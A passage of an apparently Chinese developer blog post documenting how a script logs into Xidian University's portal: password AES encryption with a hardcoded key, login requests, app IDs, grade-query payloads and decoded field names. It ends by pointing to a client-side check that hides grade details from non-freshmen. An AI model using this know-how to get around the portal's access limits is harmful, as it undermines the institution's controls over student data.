class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxduxidianscriptsxduxidianscriptsxduxidianscriptsxdu\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epaddingLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edataToPad\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start encrypt.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eEncrypter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ereadyToEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003eiv:\u003c/span\u003e \u003cspan class=\"n\"\u003eIV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;xidianscriptsxdu\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebase64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"发送登陆报文\"\u003e发送登陆报文\u003c/h4\u003e\n\u003cp\u003e首先,构建登陆请求所需要的头。初步需要三个信息:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eusername:你的学号\u003c/li\u003e\n\u003cli\u003epassword:加密过的密码\u003c/li\u003e\n\u003cli\u003erememberMe:防止之后又走一遍登陆过程\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在此之后,我们需要寻找很多预配置的头,加入到我们的头中。这些元素都在 form 中,是 input 标签 ,参数是 \u003ccode\u003etype=hidden\u003c/code\u003e 。循环将其插入到请求头中。\u003c/p\u003e\n\u003cp\u003e最后,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 POST 请求,其中请求头是上面搞过的请求头,请求参数是 \u003ccode\u003e{\u0026quot;service\u0026quot;: 接下来要访问的网址}\u003c/code\u003e ,请求不要自动跳转。\u003c/p\u003e\n\u003cp\u003e如果正常,ids.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003ehappyVoyagePersonal=...; Path=/personalinfo\u003c/code\u003e。然后需要我们自己向需要跳转的新网址发 GET 请求,同样,不需要自动跳转。\u003c/p\u003e\n\u003cp\u003e到此,通过统一认证平台,我们登陆了一站式服务大厅。\u003c/p\u003e\n\u003ch2 id=\"使用一站式服务大厅\"\u003e使用一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e首先给个表格:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e应用名称\u003c/th\u003e\n\u003cth\u003e内部序号(appID)\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课表\u003c/td\u003e\n\u003ctd\u003e4770397878132218\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e成绩\u003c/td\u003e\n\u003ctd\u003e4768574631264620\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试安排\u003c/td\u003e\n\u003ctd\u003e4768687067472349\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e个人信息\u003c/td\u003e\n\u003ctd\u003e4585275700341858\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"如何进入应用\"\u003e如何进入应用\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e验证是否登录。向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jsonp/userFavoriteApps.json\u003c/a\u003e 发送 GET 请求,查看返回的数据中,hasLogin 是否为 true。如果没登录,则需要登录。登陆需要的 target 是 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/login?service=http://ehall.xidian.edu.cn/new/index.html\u003c/a\u003e。\n一站式登录成功的话,ehall.xidian.edu.cn 下面的 Cookie 会多一个 \u003ccode\u003eMOD_AUTH_CAS=MOD_AUTH_ST-...; path=/;\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e请求访问应用。向 \u003ccode\u003ehttp://ehall.xidian.edu.cn/appShow\u003c/code\u003e 发送 GET 请求,其中请求参数是 \u003ccode\u003e{\u0026quot;appId\u0026quot;: 要访问应用的内部序号}\u003c/code\u003e,header 追加参数如下:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Accept\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e暂停自动跳转请求,截断下来要跳转的网址,去相应函数请求,如果那个功能必要的话。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"提前说明第二发\"\u003e提前说明第二发\u003c/h3\u003e\n\u003cp\u003e发送信息中如包含学期信息之情况,按照如此处理:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e2022-2023-1 == 2022-2023 学年第一学期\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e虽然是可以通过请求得到学期数据,不过有的地方,我打算自己算。所以如有对应需求,请查看 xidian-script 代码。\u003c/p\u003e\n\u003ch3 id=\"获取成绩学校想让你看到的\"\u003e获取成绩(学校想让你看到的)\u003c/h3\u003e\n\u003cp\u003e一会再告诉大家为啥是\u0026quot;学校想让你看到的\u0026quot;。先给大家介绍原理。\u003c/p\u003e\n\u003ch4 id=\"获取数据\"\u003e获取数据\u003c/h4\u003e\n\u003cp\u003e在获取数据前,还记得那个要跳转的网址吗?你一定要给那个网址发个 GET 请求,要不然,接下来的步骤报错 403 未授权。\u003c/p\u003e\n\u003cp\u003e实际上这玩意本质上,就是向 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx/xscjcx.do\u003c/a\u003e 发送 POST 请求。不过发送的请求数据,要看情况。\u003c/p\u003e\n\u003cp\u003e首先说的是一个共有的请求数据,如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SFYX\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//是否有效\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;m_value_equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,如果你想查看某个学期的数据,还需要追加以下请求数据:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年学期代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-2023-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e//学期学年代码,参考提前说明第二发\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,由于是 POST,所以没有请求数据设置(有错请指正)。所以我们附在 POST 报文的数据是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*json\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;querySetting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e将上面设置的请求数据编码为\u003c/span\u003e \u003cspan class=\"err\"\u003ejson\u003c/span\u003e \u003cspan class=\"err\"\u003e字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;+XNXQDM,KCH,KXH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageSize\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageNumber\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后返回的数据,基本上是坑爹的汉语拼音缩写,感觉大家应该会破译吧。毕竟人均黑虎阿福,都是会乌鸦坐飞机的。\u003c/p\u003e\n\u003ch4 id=\"关于那些坑爹的拼音缩写\"\u003e关于那些坑爹的拼音缩写\u003c/h4\u003e\n\u003cp\u003e我打开过网页的开发者模式,看到网络菜单有个请求,是向 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\" target=\"_blank\" rel=\"noopener\"\n \u003ehttps://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\u003c/a\u003e 的 POST 请求。发送的也和上面的头差不多。然后他返回的信息,就是那些坑爹缩写的完整含义。实际上有好多,这里我只列出和查成绩相关的东西。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXNXQDM\u003c/td\u003e\n\u003ctd\u003e学年学期(代码)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCM\u003c/td\u003e\n\u003ctd\u003e(学生)课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCH\u003c/td\u003e\n\u003ctd\u003e(学生)课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCJ\u003c/td\u003e\n\u003ctd\u003e总成绩\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXF\u003c/td\u003e\n\u003ctd\u003e学分\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXS\u003c/td\u003e\n\u003ctd\u003e学时\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDFSDM\u003c/td\u003e\n\u003ctd\u003e修读方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFZX\u003c/td\u003e\n\u003ctd\u003e修读类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXFJD\u003c/td\u003e\n\u003ctd\u003e绩点\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJDF\u003c/td\u003e\n\u003ctd\u003e积点分(绩点分)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBID\u003c/td\u003e\n\u003ctd\u003e教学班id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCXCKDM\u003c/td\u003e\n\u003ctd\u003e重修重考\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFJG\u003c/td\u003e\n\u003ctd\u003e是否及格\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFYX\u003c/td\u003e\n\u003ctd\u003e是否有效\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4 id=\"为啥是学校想让你看到的\"\u003e为啥是\u0026quot;学校想让你看到的\u0026quot;\u003c/h4\u003e\n\u003cp\u003e我发现,正常情况下,只有大一新生才能看到自己成绩的排名和具体组成。我查看了页面的源代码,在 \u003ccode\u003etop/ehall.xidian.edu.cn/jwapp/cjcx/*default/modules/cjcx/dqxq/dqxq.js?av=一个时常变化的数\u003c/code\u003e 文件中,有以下几行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The tenth line.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//是否为大一学生(默认为否)西电大一学生可以查看成绩详情\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The thirty-eighth line and below.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nx\"\u003echeckIsDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edqxnxqdm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017-2018-1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;90001\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ejwlcgl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetRZLB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eroleId\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eWIS_EMAP_SERV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAbsPath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/modules/cjcx/cxxsjbxx.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eBH_UTILS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edoSyncAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan 